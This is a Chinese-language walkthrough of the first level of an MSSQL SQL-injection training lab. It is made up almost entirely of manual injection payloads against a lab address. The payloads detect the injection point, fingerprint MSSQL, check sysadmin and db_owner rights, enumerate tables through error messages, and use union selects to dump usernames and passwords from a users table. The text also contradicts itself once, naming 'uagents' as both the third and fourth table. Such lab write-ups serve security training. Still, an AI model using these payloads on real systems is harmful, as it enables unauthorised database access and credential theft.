MSSQL靶场(手工注入)通关攻略 第一关
第一关
步骤一:判断是否存在注入
http://172.16.0.87/less-1.asp?id=1'
http://172.16.0.87/less-1.asp?id=1%27--+
发现加入单引号时报错,但是注释掉后面的之后的就正常了,所以他是单引号闭合的字符型
根据报错的回显信息可以得到这关的数据类型为字符型
第二步:判断是否是MSSQL数据库
方法:通过以下Payload来探测当前站点是否是MSSQL数据库,正常执⾏说明后台数据库是
MSSQL
'and exists(select * from sysobjects)--+
回显正常,确定使用的是MSSQL数据库
第三步:判断注入点权限
1.1判断当前是否为sa
' and exists(select is_srvrolemember('sysadmin'))--+
页面回显正常,确实是sa
1.2判断当前用户写文件、读文件的权限(db_owner)
' and (select is_srvrolemember('db_owner'))>1--
第四步:查询数据库信息
方法:user回显的dbo表示是最高权限,如果是⽤户的名字表示是普通权限
注:union select user,null,null
user:查询用户
db_name():查询数据库名
@@version:查询版本信息
union select 1,user,db_name()--+
由回显信息可知用户是最高权限
第五步:猜数据库中的表
and (select top 1 cast (name as varchar(256)) from(select top 2 id,name f
rom [sysobjects] where xtype=char(85) and status!=1 order by id)t order b
y id desc)=1--+
由报错信息可知第一个表为users表,接着查询第二个表
and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users')--+
第二个表为emails,接着查询第三个表
and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails')--+
得到第三个表uagents,查第四个表
and 1=(select top 1 name from sysobjects where xtype='U' and n
ame !='users' and name !='emails' and name !='uagents')--+
得到第四个表uagents,查第五个表
and 1=(select top 1 name from sysobjects where xtype='U' and name !='users' and name !='emails' and name !='uagents' and name !='referer
s')--+
回显为空,说明只有四张表
第六步:查询表中的字段信息
先查询users表内的所有字段名
having 1=1--+
group by id having 1=1--+
group by id,username having 1=1--+
通过报错可以得到 users 表的字段名为 id,username,password
第七步:查询表中的数据
1.1查询字段数据
order by 3--+
order by 4--+
根据报错可知有3列
1.2回显存在内容的字段
-1' union select 1,2,3 from users--+
1.3查询字段内容
-1' union all select 1,(select top 1 username from users),'3'--+
-1' union all select 1,2,(select top 1 password from users)--+
-1'union select 1,username,password from users--+